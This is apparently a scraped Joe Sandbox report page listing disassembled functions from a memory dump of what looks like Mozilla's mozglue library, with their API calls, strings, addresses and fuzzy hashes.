Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vUl
API String ID: 3412268980-1420529217
Opcode ID: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction ID: 51701d9768cd75cdcda7e2b82927c136578e1ded9be4d208505e01051fd2d05d
Opcode Fuzzy Hash: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction Fuzzy Hash: B3E17071A043448BD714CF68C840A5BFBE9BFC9318F558A2DE895D7790DBB0DD098B91

Function 6C535FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C536009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C536024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QMl,?), ref: 6C536046
OutputDebugStringA.KERNEL32(?,QMl,?), ref: 6C536061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C536069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C55148E), ref: 6C536091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QMl,00000000,?), ref: 6C5360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5360C4

Strings

QMl, xrefs: 6C535FFC, 6C536042, 6C536045, 6C5360B3

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QMl
API String ID: 3835517998-1439696203
Opcode ID: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction ID: 03b2f784946ebf0a0da5de58f5c72874e34d19d9309acb398cd954644f84203d
Opcode Fuzzy Hash: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction Fuzzy Hash: A521E2B1A002189FDF106F24DC0DAAE7BB8FF45318F418428E81AD7240DB75A949CFD5

Function 6C4F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C4F7652

Strings

MOZ_CRASH(), xrefs: 6C4F7BA4
ewSl, xrefs: 6C4F5E9C, 6C4F5F22, 6C4F61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4F72F8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4F72E3
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F7BCD, 6C4F7C1F, 6C4F7C34, 6C4F80FD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4F730D

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewSl
API String ID: 2613674957-934110803
Opcode ID: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction ID: 254458958504f6f1f7f8086802df393892c8c06a3518d93701c5d736a17ce24b
Opcode Fuzzy Hash: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction Fuzzy Hash: 3B336A716096018FD304CF28C590E15BBE2BFC6328F29C6ADE9798B7A5D775E842CB41

Function 6C524820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C524CAF
ProfileBuffer parse error: %s, xrefs: 6C524DD9
Ul, xrefs: 6C524F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C524D65
data, xrefs: 6C5249B4
schema, xrefs: 6C5248C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C524DB8, 6C524DD8
-%llu, xrefs: 6C524825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C524D0A

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID: Ul$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3414208028
Opcode ID: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction ID: f76165c75724aaebd457cc2e5c3601c16f97eb4f9c306066edc19ae094d63d57
Opcode Fuzzy Hash: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction Fuzzy Hash: 94722D75918B858BD322CF34C85179BF7E5BFDA344F108B1EE4896B650EB70A486CB42

Function 6C4FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD6A6
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD712
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD7EA

Strings

<jemalloc>, xrefs: 6C4FD827
: (malloc) Error initializing arena, xrefs: 6C4FD82C

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction ID: 50397f5a7c3896fa29774672b604e79ef33b7b974e101b16dfad2e227dd84485
Opcode Fuzzy Hash: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction Fuzzy Hash: 8F91E471A047418FD715CF28C890F2AB7E1EBC9314F55492EE56AC7B81D774E846CB82

Function 6C534EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C534EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534F2E
moz_xmalloc.MOZGLUE ref: 6C534F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C534F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352E6
Sleep.KERNEL32(00000010), ref: 6C535481
free.MOZGLUE(?), ref: 6C535498

Strings

(, xrefs: 6C535250

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction ID: df93e01d51aeefb5d08d30ddb93ec9b3715ef8eda2c544a156baaec45dc6e089
Opcode Fuzzy Hash: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction Fuzzy Hash: C1F1D371A18B108FC716DF39C85062BB7F5AFD6384F46872EF846A7651EB31D8428B81

Function 6C537030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C537046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C537060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C53707E

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C537096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C53709C
LocalFree.KERNEL32(?), ref: 6C5370AA

Strings

### ERROR: %s: %s, xrefs: 6C537087
(null), xrefs: 6C53706A, 6C537083

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction ID: 680b2f12cf11072b32757df051b00e89864f3ed888385a1654facd0b4b492b24
Opcode Fuzzy Hash: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction Fuzzy Hash: 2901B9B1B00104AFDF04AB64DC4EDAF7BBCEF49215F860429FA05E7241E67169148BA5

Function 6C4F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C4F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C4FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FA8B1, 6C4FA8D4, 6C4FA8EF

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction ID: 92e649dd749f1d31834ced94b40f3cb96ce3d0bd4d213d78b196b51bd8525c27
Opcode Fuzzy Hash: e256bdf683f38ca857ab39b286f56919948371c77497c0f153a825482babb1aa
Instruction Fuzzy Hash: 2E725A72A156118FD704CF28C940E15FBE1BFC9328F2AC66DE8699B791D375E842CB81

Function 6C522C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C522C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C522C61

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C522C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C522E2D

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

Strings

(root), xrefs: 6C52354F
ProfileBuffer parse error: %s, xrefs: 6C522E3B
expected a Time entry, xrefs: 6C522E36

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction ID: 59c1a8f569e6e269c72ae5e5563ca9e49b9923da721b46727d99fc009631aaa2
Opcode Fuzzy Hash: 436d2a0f800fffd6e3d5f9a11425f97c02c07f1d26ccb20f0c02048f5833693d
Instruction Fuzzy Hash: ED91D0746083408FC724CF24CC8469FB7E5AFC9368F50892DE5998B791EB34E94ACB52

Function 6C539E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C539F3D
__aulldiv.LIBCMT ref: 6C539F77
__aullrem.LIBCMT ref: 6C539F8C
__aulldiv.LIBCMT ref: 6C53A023

Strings

-Infinity, xrefs: 6C539E60, 6C539E7B
NaN, xrefs: 6C539EAB

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction ID: efd3941f69376e6b59dd9e18c2fcab802b1e914d1157d091dbf7064f523d0a18
Opcode Fuzzy Hash: a88be23ad9a58873edc0b7f649ef3068518fa18c264b60731e66a742de590ac1
Instruction Fuzzy Hash: C9C19D71A003298BDF14CFE8CC50B9EB7B6EB88314F54552DD409ABB80EB74A949CB91

Function 6C4DD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C4DDA88
0, xrefs: 6C4DD852
1, xrefs: 6C4DDBDD
@, xrefs: 6C4DDAF6
-, xrefs: 6C4DD7DD
0, xrefs: 6C4DDC7F
9, xrefs: 6C4DDE7F
8, xrefs: 6C4DDC08

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction ID: 14851abc79d34a04dbf2cde325369a60ce2940b7eeb8a87584327f1033c9e2dc
Opcode Fuzzy Hash: 677afe133174264742e11fb99c138de2398309db3c03f119b41e27c9e6a428b0
Instruction Fuzzy Hash: 9062B13060C3458FD705EE28C4A0F5ABBF1AF86359F1A4A5DE4E54BB51C335A885CFA2

Function 6C54545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C548A4B

Strings

~qMl, xrefs: 6C549269, 6C5456C7, 6C545740, 6C54921F, 6C549459, 6C545703, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: daf36e273b7d447ad8a32736401089dcc3d5f23a5a09017820b52a2007c3b975
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: F6B1F772E0021ACFDB14CF68CC917E8B7B6EF85314F1842A9C549DB785E730A989CB90

Function 6C54542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C5488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C54925C

Strings

~qMl, xrefs: 6C549269, 6C5456C7, 6C545740, 6C54921F, 6C549459, 6C545703, 6C54948F

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset
String ID: ~qMl
API String ID: 2221118986-4265875183
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 96838d61981010bfc2145d71df49a5a368a10c77c69f0f0dc2e1c8c5e90b861a
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 65B1C572E0421ACBDB14CF58CC816EDB7B6AF85314F194269C949EB785E730A989CB90

Function 6C53C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C53C0E9), ref: 6C53C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C53C437
FreeLibrary.KERNEL32(?,6C53C0E9), ref: 6C53C44C

Strings

ntdll.dll, xrefs: 6C53C413
NtQueryVirtualMemory, xrefs: 6C53C431

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction ID: 0c2c30935e4bc343505cb67d7d549cbf231db027848131fe490665ce5436f480
Opcode Fuzzy Hash: 80b58cd6d9c280d9bcf5fafe2680def086e7f5901786b3ac0ff81f82f5f0fb1f
Instruction Fuzzy Hash: EAE0B6707023119BDF007F75DD0CB157BF8B706305F8A9316AA09A2700EBB2D0148B58

Function 6C4E9F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

@, xrefs: 6C4EA625
1, xrefs: 6C4EA824
9, xrefs: 6C4EA5D6
0, xrefs: 6C4EA100
0, xrefs: 6C4EAB22
' , xrefs: 6C4EA3D8

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2463344075.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463529533.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463599665.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction ID: 8fb1c1b3091c5bf069cc7c1db482cc8a208024053d55f8ce2b804bbad8a7d244
Opcode Fuzzy Hash: 31969049067efb07d4ea881cb5e8245dab307ac2f7df9548db871387f4f6a549
Instruction Fuzzy Hash: 0682B0319093118BD711CF19C480E6EBFF2AF8975BF578A2AE8D547B90D3359886CB42

Function 6C4DBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C4DC1CB
__aulldiv.LIBCMT ref: 6C4DC24C
__aulldiv.LIBCMT ref: 6C4DC348
__aullrem.LIBCMT ref: 6C4DC365
__aulldiv.LIBCMT ref: 6C4DC37D

Memory Dump Source

Source File: 00000000.00000002.2463381097.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

